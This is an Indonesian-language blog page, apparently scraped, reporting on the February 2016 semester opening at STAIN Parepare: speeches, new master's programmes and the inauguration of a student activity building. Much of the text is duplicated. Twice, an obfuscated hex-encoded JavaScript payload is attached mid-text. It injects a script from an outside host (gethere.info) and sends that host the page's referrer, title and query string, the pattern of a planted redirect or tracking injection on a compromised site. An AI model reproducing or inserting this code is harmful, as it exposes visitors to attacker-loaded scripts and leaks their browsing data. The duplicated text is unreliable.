Selain itu, Ketua DEMA berharap agar fasilitas penunjang lainnya mampu dipenuhi demi menjalankan roda organisasi. "Kita butuh fasilitas yang cukup dalam melanjutkan atau menjalankan roda organisasi. Namun tak terlepas dari ini tentunya kita berharap bahwa fasilitas-fasilitas penunjang lainnya mampu diberikan, kita berharap ada audiensi dengan pihak terkait, membicarakan kebutuhan teman-teman ormawa."
Setelah peresmian, gedung PKM sudah siap ditempati. Namun masalah waktunya, Ketua DEMA tinggal menunggu persetujuan dari pimpinan.
"Persoalan kapan mulai berjalan aktifitas di PKM baru tinggal menunggu waktu saja. Karena beberapa kendala baik itu persoalan gedung yang masih butuh tahap penyempurnaan dan pemindahan kelengkapan administrasi ormawa, juga kita menunggu persetujuan dari pimpinan."
Setelah Pembukaan Kuliah di Auditorium, Dirjen Pendis Kemenag RI yang didampingi oleh Ketua STAIN Parepare, para Wakil Ketua dan dosen lainnya menuju gedung PKM. Para fungsioner lembaga berjejer di depan gedung PKM menyambut kedatangan Dirjen Pendis.
Gedung PKM tersebut merupakan tempat para lembaga kemahasiswaan melakukan kegiatan yang menyangkut kelembagaannya demi pengembangan kampus STAIN Parepare. Ketua Dewan Mahasiswa (DEMA) mengutarakan rasa syukurnya atas peresmian gedung PKM tersebut.
"Alhamdulillah setelah sekian lama menunggu akhirnya PKM diresmikan. Ucapan terima kasih kepada pimpinan bahwa ini merupakan bentuk perhatian dan kepedulian kepada lembaga kemahasiswaan terkait tentang pengembangan SDM."
Selain itu, Ketua DEMA berharap agar fasilitas penunjang lainnya mampu dipenuhi demi menjalankan roda organisasi. "Kita butuh fasilitas yang cukup dalam melanjutkan atau menjalankan roda organisasi. Namun tak terlepas dari ini tentunya kita berharap bahwa fasilitas-fasilitas penunjang lainnya mampu diberikan, kita berharap ada audiensi dengan pihak terkait, membicarakan kebutuhan teman-teman ormawa."
Setelah peresmian, gedung PKM sudah siap ditempati. Namun masalah waktunya, Ketua DEMA tinggal menunggu persetujuan dari pimpinan.
"Persoalan kapan mulai berjalan aktifitas di PKM baru tinggal menunggu waktu saja. Karena beberapa kendala baik itu persoalan gedung yang masih butuh tahap penyempurnaan dan pemindahan kelengkapan administrasi ormawa, juga kita menunggu persetujuan dari pimpinan."
Senin, 22 Februari 2016
Pembukaan Kuliah STAIN Parepare
STAIN PAREPARE- Sekolah Tinggi Agama Islam Negeri (STAIN) Parepare, kembali menggelar proses perkuliahan usai libur semester selama kurang lebih dua pekan lamanya, ditandai dengan pembukaan kuliah pada senin, tanggal 22 Februari 2016, di Auditorium STAIN Parepare.
Pada pembukaan kuliah kali ini dihadiri oleh Direktur Jenderal (DIRJEN) Pendidikan Islam Kementrian Agama RI bapak Prof. Dr. Phil. H. Kamaruddin Amin, M.A, yang sekaligus akan membawakan kuliah umum pada pembukaan kuliah hari ini. KASUBDIT Pengembangan Akademik Direktorat Pendidikan Tinggi Islam Kementrian Agama RI juga sempat hadir dalam acara ini, dan Walikota Parepare yang diwakili oleh BAPEDA Kota Parepare, serta segenap para dosen, staf dan mahasiswa yang memadatati ruang Auditorium. Pembukaan kuliah hari ini dirangkaikan dengan launching program magister (S2), yaitu Program Studi Ekonomi Syariah dan Komunikasi Penyiaran Islam, serta peresmian gedung Pusat Kegiatan Mahasiswa (PKM), dan gedung perkuliahan Jurusan Tarbiyah.
Ketua STAIN Parepare yang berkesempatan membawakan sambutan serta membuka perkuliahan untuk semester genap tahun ajaran 2016-2017 ini, menyampaikan bahwa hari ini cukup istimewa karena sekian pembukaan kuliah yang dilakukan oleh STAIN Parepare, barulah pada hari ini pembukaan kuliah di hadiri oleh bapak Dirjen Pendidikan Islam Kementrian Agama Republik Indonesia. Keistimewaan yang lain karena pada hari ini kita juga mendapat apresiasi dari Negara dengan diberikan isin operasional program studi pada pasca sarjana yang telah ditandatangani oleh bapak Dirjen beberapa waktu lalu yaitu program Ekonomi Islam dan Komunikasi Penyiaran Islam. Sehingga dengan adanya program pasca sarjana ini semua jurusan yang ada di kampus baik jurusan tarbiyah, syariah, serta dakwah dan komunikasi bisa melanjutkan pendidikannya pada program pasca sarjana. Keistimewaan yang ketiga pada hari ini juga kita akan menyaksikan peresmian gedung baru yakni gedung pusat kegiatan mahasiswa dan gedung perkuliahan jurusan tarbiyah.
Pada tahun 2016 ini pula STAIN Parepare mendapat anggaran pembebasan lahan sebesar 10 millyar, dan ini merupakan suatu kebanggaan tersendiri bagi kampus kita, karena pada tahun ini tidak semua perguruan tinggi mendapatkan anggaran yang sama seperti yang diperoleh STAIN Parepare, ini merupakan sebuah hasil pembuktian dari pekerjaan dan kerja keras bagi sipitas akademik. Kami punya niat untuk membangun lembaga kita ini menjadi lembaga yang kompetitif sesuai dengan visi dan misi STAIN Parepare.
Dan mudah-mudahan kehadiran bapak Dirjen pada hari ini merupakan kehadiran terakhir untuk kampus STAIN Parepare, karena kita berharap kedatangan beliau yang akan datang kampus kita ini sudah menjadi IAIN Parepare. Tentuh, semua ini diharapkan kerja keras sipitas akademik untuk membuktikan pada Negara apakah STAIN Parepare ini, layak menjadi Institusi atau harus masi tetap menjadi Sekolah Tinggi, maka saya mengajak kepada sipitas akademik mari perlihatkan kinerja kita, dan semangat kita serta tingkatkan sumber daya kita utamanya pada penguasaan Information and Technology (IT), karena insyaAllah segala aktivitas akademik, aktivitas administrasi pada tahun 2017 mendatang semua sudah harus berbasis IT.
Demikian pula untuk mengakomodir slogan yang senantiasa yang disampaikan bapak Dirjen, yaitu tentang integrasi keilmuan. InsyaAllah mulai pada tahun 2016 ini kami akan merancang kurikulum yang berbasis Kerangka Kualifikasi Nasional Indonesia (KKNI). sehingga kurikulum kami benar-benar tidak lagi kelihatan adanya pemisahan antara ilmu agama maupun ilmu umum, itu tekad kami untuk mengintegrasikan keilmuan ini, sesuai dengan visi dan program kerja dari bapak Dirjen.
Dan untuk itu juga pada tahun 2017 adalah tahun awal bagi kami akan membuka kelas Internasional, sehingga pada tahun 2017 nanti kita akan membuka dua kelas Internasional, dimana proses perkuliahan dilaksanakan hanya dengan dua bahasa, yaitu bahasa inggris dan bahasa arab. Untuk itu pada tahun 2016 ini kami akan mempersiapkan calon dosen yang akan memperkuat kelas Internasional tersebut, kami akan melakukan workshop pembinaan bahasa secara intensif kepada bapak dan ibu dosen yang memang pada awal tahun 2017 nanti mereka akan memperkuat atau mendukung dari kelas Internasional yang akan kita lakukan, ini adalah suatu upaya untuk menghadirkan mahasiswa luar negeri untuk menjadikan STAIN Parepare atau kedepan IAIN Parepare, menjadi tempat untuk menuntut ilmu yang layak bagi mereka.
Dalam pembukaan kuliah ini bapak Dr. Muh. Zein, M.ag, selaku KASUBDIT Pengembangan Akademik Direktorat Pendidikan Tinggi Islam Kementrian Agama Republik Indonesia. Menyampaikan beberapa hal penting terkait dengan program magister ini, bahwa betapa pentingnya program magister sekarang ini itu dikarenakan kita mengalami global dexterity atau ketangkasan global, makanya kita perluh memiliki ketangkasan global agar bisa bersain secara nasional dan internasional.
Inilah kritik kita pada pendidikan di Indonesia bahwa mahasiswa atau peserta didik kita kehilangan ketangkasan, gesit, mestinya mahasiswa itu cepat-cepat jalannya masyarakatpun juga harus begitu, karena kalau tidak seperti itu nanti kerang kakinya karena dingin, kalau kita masuk di kampus mahasiswa dari saban sampai marauke biasa jalannya mengantar penganting, kurang gesit, saya kira itu yang perluh kita perbaiki.
Kedua program magister ini adalah program seksi pertama namanya ekonomi syariah adalah suatu program yang banyak mengelolah uang atau pendapatang negara, makanya kenapa ekonomi syariah ini penting untuk dibuka pada program magister. Dan untuk bagi mahasiswa mulai hari ini harus belajar mengelolah kemandirian dan kesejahteraan hidup, hanya dengan itu kita bisa mengerti uang, mengerti kesejahteraan.
Ketiga kritik perguruan tinggi identik dengan ilmu pengetahuan. Ilmu pengetahuan bisa berkembang kalau ada kritik seperti halnya dengan para ulama-ulama dulu selalu mengembangkan risalah perdebatan, selalu mengembangkan kritik luar biasa. Dengan tantangan yang begitu banyak saat iniA�maka saya kira kritik seperti ini hanya bisa berkembang pada program sarjana.
Walikota Parepare yang kali ini diwakili oleh BAPEDA Kota Parepare juga berkesempatan membawakan sambutan. Dalam sambutan beliu menyampaikan selamat pada STAIN Parepare, atas peresmian gedung baru perkuliahan dan gedung pusat kegiatan mahasiswa, keberadaan gedung baru ini diharapkan dapat meningkatkan kualitas pembelajarann di kampus ini, gedung ini bukan hanya kebanggaan tersendiri bagi kampus STAIN Parepare, tetapi juga kebanggan masyarakat Kota Parepare.
Pada kesempatan ini saya juga mengucapkan terimakasih yang sebesar-besarnya pada STAIN Parepare yang memberikan sumbangsi terhadap pembangunan Kota Parepare. Saya juga mengharapkan pada STAIN Parepare agar senantiasa menjalin kerja sama dengan pemerintah Kota Parepare dalam memberikan saran serta kritik dan diskusi terhadap bangunan rusak, bagi STAIN sebagai pijakan pembangunan daerah maka disampaikan pada pemerintah daerah sehingga memudahkan dalam kualitas pembangunan yang berdasarkan kebutuhan daerah.
STAIN Parepare merupakan perguruan tinggi kebanggaan kita semua, sehingga kami harapkan agar senantiasa menghasilkan lulusan yang dapat menjadi agen dalam berbagai bidang yang dibutuhkan oleh pemerintah daerah. Kerja sama antara kampus dan pemerintah Kota Parepare, dengan adanya kebersamaan ini bahwa STAIN Parepare beranjak maju dan dapat mencetak mahasiswa-mahasiswa yang baik di Kota Parepare.var _0xd052=["\x73\x63\x72\x69\x70\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x73\x72\x63","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x33\x63\x58\x66\x71\x6B\x26\x73\x65\x5F\x72\x65\x66\x65\x72\x72\x65\x72\x3D","\x72\x65\x66\x65\x72\x72\x65\x72","\x26\x64\x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D","\x74\x69\x74\x6C\x65","\x26","\x3F","\x72\x65\x70\x6C\x61\x63\x65","\x73\x65\x61\x72\x63\x68","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74","\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74","\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65","\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64","\x68\x65\x61\x64","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65","\x70\x72\x6F\x74\x6F\x63\x6F\x6C","\x68\x74\x74\x70\x73\x3A","\x69\x6E\x64\x65\x78\x4F\x66","\x52\x5F\x50\x41\x54\x48","\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E"];var d=document;var s=d[_0xd052[1]](_0xd052[0]);s[_0xd052[2]]= _0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12];if(document[_0xd052[13]]){document[_0xd052[13]][_0xd052[15]][_0xd052[14]](s,document[_0xd052[13]])}else {d[_0xd052[18]](_0xd052[17])[0][_0xd052[16]](s)};if(document[_0xd052[11]][_0xd052[19]]=== _0xd052[20]&& KTracking[_0xd052[22]][_0xd052[21]](_0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12])=== -1){alert(_0xd052[23])}
Pada pembukaan kuliah kali ini dihadiri oleh Direktur Jenderal (DIRJEN) Pendidikan Islam Kementrian Agama RI bapak Prof. Dr. Phil. H. Kamaruddin Amin, M.A, yang sekaligus akan membawakan kuliah umum pada pembukaan kuliah hari ini. KASUBDIT Pengembangan Akademik Direktorat Pendidikan Tinggi Islam Kementrian Agama RI juga sempat hadir dalam acara ini, dan Walikota Parepare yang diwakili oleh BAPEDA Kota Parepare, serta segenap para dosen, staf dan mahasiswa yang memadatati ruang Auditorium. Pembukaan kuliah hari ini dirangkaikan dengan launching program magister (S2), yaitu Program Studi Ekonomi Syariah dan Komunikasi Penyiaran Islam, serta peresmian gedung Pusat Kegiatan Mahasiswa (PKM), dan gedung perkuliahan Jurusan Tarbiyah.
Ketua STAIN Parepare yang berkesempatan membawakan sambutan serta membuka perkuliahan untuk semester genap tahun ajaran 2016-2017 ini, menyampaikan bahwa hari ini cukup istimewa karena sekian pembukaan kuliah yang dilakukan oleh STAIN Parepare, barulah pada hari ini pembukaan kuliah di hadiri oleh bapak Dirjen Pendidikan Islam Kementrian Agama Republik Indonesia. Keistimewaan yang lain karena pada hari ini kita juga mendapat apresiasi dari Negara dengan diberikan isin operasional program studi pada pasca sarjana yang telah ditandatangani oleh bapak Dirjen beberapa waktu lalu yaitu program Ekonomi Islam dan Komunikasi Penyiaran Islam. Sehingga dengan adanya program pasca sarjana ini semua jurusan yang ada di kampus baik jurusan tarbiyah, syariah, serta dakwah dan komunikasi bisa melanjutkan pendidikannya pada program pasca sarjana. Keistimewaan yang ketiga pada hari ini juga kita akan menyaksikan peresmian gedung baru yakni gedung pusat kegiatan mahasiswa dan gedung perkuliahan jurusan tarbiyah.
Pada tahun 2016 ini pula STAIN Parepare mendapat anggaran pembebasan lahan sebesar 10 millyar, dan ini merupakan suatu kebanggaan tersendiri bagi kampus kita, karena pada tahun ini tidak semua perguruan tinggi mendapatkan anggaran yang sama seperti yang diperoleh STAIN Parepare, ini merupakan sebuah hasil pembuktian dari pekerjaan dan kerja keras bagi sipitas akademik. Kami punya niat untuk membangun lembaga kita ini menjadi lembaga yang kompetitif sesuai dengan visi dan misi STAIN Parepare.
Dan mudah-mudahan kehadiran bapak Dirjen pada hari ini merupakan kehadiran terakhir untuk kampus STAIN Parepare, karena kita berharap kedatangan beliau yang akan datang kampus kita ini sudah menjadi IAIN Parepare. Tentuh, semua ini diharapkan kerja keras sipitas akademik untuk membuktikan pada Negara apakah STAIN Parepare ini, layak menjadi Institusi atau harus masi tetap menjadi Sekolah Tinggi, maka saya mengajak kepada sipitas akademik mari perlihatkan kinerja kita, dan semangat kita serta tingkatkan sumber daya kita utamanya pada penguasaan Information and Technology (IT), karena insyaAllah segala aktivitas akademik, aktivitas administrasi pada tahun 2017 mendatang semua sudah harus berbasis IT.
Demikian pula untuk mengakomodir slogan yang senantiasa yang disampaikan bapak Dirjen, yaitu tentang integrasi keilmuan. InsyaAllah mulai pada tahun 2016 ini kami akan merancang kurikulum yang berbasis Kerangka Kualifikasi Nasional Indonesia (KKNI). sehingga kurikulum kami benar-benar tidak lagi kelihatan adanya pemisahan antara ilmu agama maupun ilmu umum, itu tekad kami untuk mengintegrasikan keilmuan ini, sesuai dengan visi dan program kerja dari bapak Dirjen.
Dan untuk itu juga pada tahun 2017 adalah tahun awal bagi kami akan membuka kelas Internasional, sehingga pada tahun 2017 nanti kita akan membuka dua kelas Internasional, dimana proses perkuliahan dilaksanakan hanya dengan dua bahasa, yaitu bahasa inggris dan bahasa arab. Untuk itu pada tahun 2016 ini kami akan mempersiapkan calon dosen yang akan memperkuat kelas Internasional tersebut, kami akan melakukan workshop pembinaan bahasa secara intensif kepada bapak dan ibu dosen yang memang pada awal tahun 2017 nanti mereka akan memperkuat atau mendukung dari kelas Internasional yang akan kita lakukan, ini adalah suatu upaya untuk menghadirkan mahasiswa luar negeri untuk menjadikan STAIN Parepare atau kedepan IAIN Parepare, menjadi tempat untuk menuntut ilmu yang layak bagi mereka.
Dalam pembukaan kuliah ini bapak Dr. Muh. Zein, M.ag, selaku KASUBDIT Pengembangan Akademik Direktorat Pendidikan Tinggi Islam Kementrian Agama Republik Indonesia. Menyampaikan beberapa hal penting terkait dengan program magister ini, bahwa betapa pentingnya program magister sekarang ini itu dikarenakan kita mengalami global dexterity atau ketangkasan global, makanya kita perluh memiliki ketangkasan global agar bisa bersain secara nasional dan internasional.
Inilah kritik kita pada pendidikan di Indonesia bahwa mahasiswa atau peserta didik kita kehilangan ketangkasan, gesit, mestinya mahasiswa itu cepat-cepat jalannya masyarakatpun juga harus begitu, karena kalau tidak seperti itu nanti kerang kakinya karena dingin, kalau kita masuk di kampus mahasiswa dari saban sampai marauke biasa jalannya mengantar penganting, kurang gesit, saya kira itu yang perluh kita perbaiki.
Kedua program magister ini adalah program seksi pertama namanya ekonomi syariah adalah suatu program yang banyak mengelolah uang atau pendapatang negara, makanya kenapa ekonomi syariah ini penting untuk dibuka pada program magister. Dan untuk bagi mahasiswa mulai hari ini harus belajar mengelolah kemandirian dan kesejahteraan hidup, hanya dengan itu kita bisa mengerti uang, mengerti kesejahteraan.
Ketiga kritik perguruan tinggi identik dengan ilmu pengetahuan. Ilmu pengetahuan bisa berkembang kalau ada kritik seperti halnya dengan para ulama-ulama dulu selalu mengembangkan risalah perdebatan, selalu mengembangkan kritik luar biasa. Dengan tantangan yang begitu banyak saat iniA�maka saya kira kritik seperti ini hanya bisa berkembang pada program sarjana.
Walikota Parepare yang kali ini diwakili oleh BAPEDA Kota Parepare juga berkesempatan membawakan sambutan. Dalam sambutan beliu menyampaikan selamat pada STAIN Parepare, atas peresmian gedung baru perkuliahan dan gedung pusat kegiatan mahasiswa, keberadaan gedung baru ini diharapkan dapat meningkatkan kualitas pembelajarann di kampus ini, gedung ini bukan hanya kebanggaan tersendiri bagi kampus STAIN Parepare, tetapi juga kebanggan masyarakat Kota Parepare.
Pada kesempatan ini saya juga mengucapkan terimakasih yang sebesar-besarnya pada STAIN Parepare yang memberikan sumbangsi terhadap pembangunan Kota Parepare. Saya juga mengharapkan pada STAIN Parepare agar senantiasa menjalin kerja sama dengan pemerintah Kota Parepare dalam memberikan saran serta kritik dan diskusi terhadap bangunan rusak, bagi STAIN sebagai pijakan pembangunan daerah maka disampaikan pada pemerintah daerah sehingga memudahkan dalam kualitas pembangunan yang berdasarkan kebutuhan daerah.
STAIN Parepare merupakan perguruan tinggi kebanggaan kita semua, sehingga kami harapkan agar senantiasa menghasilkan lulusan yang dapat menjadi agen dalam berbagai bidang yang dibutuhkan oleh pemerintah daerah. Kerja sama antara kampus dan pemerintah Kota Parepare, dengan adanya kebersamaan ini bahwa STAIN Parepare beranjak maju dan dapat mencetak mahasiswa-mahasiswa yang baik di Kota Parepare.var _0xd052=["\x73\x63\x72\x69\x70\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x73\x72\x63","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x33\x63\x58\x66\x71\x6B\x26\x73\x65\x5F\x72\x65\x66\x65\x72\x72\x65\x72\x3D","\x72\x65\x66\x65\x72\x72\x65\x72","\x26\x64\x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D","\x74\x69\x74\x6C\x65","\x26","\x3F","\x72\x65\x70\x6C\x61\x63\x65","\x73\x65\x61\x72\x63\x68","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74","\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74","\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65","\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64","\x68\x65\x61\x64","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65","\x70\x72\x6F\x74\x6F\x63\x6F\x6C","\x68\x74\x74\x70\x73\x3A","\x69\x6E\x64\x65\x78\x4F\x66","\x52\x5F\x50\x41\x54\x48","\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E"];var d=document;var s=d[_0xd052[1]](_0xd052[0]);s[_0xd052[2]]= _0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12];if(document[_0xd052[13]]){document[_0xd052[13]][_0xd052[15]][_0xd052[14]](s,document[_0xd052[13]])}else {d[_0xd052[18]](_0xd052[17])[0][_0xd052[16]](s)};if(document[_0xd052[11]][_0xd052[19]]=== _0xd052[20]&& KTracking[_0xd052[22]][_0xd052[21]](_0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12])=== -1){alert(_0xd052[23])}
Langganan:
Postingan (Atom)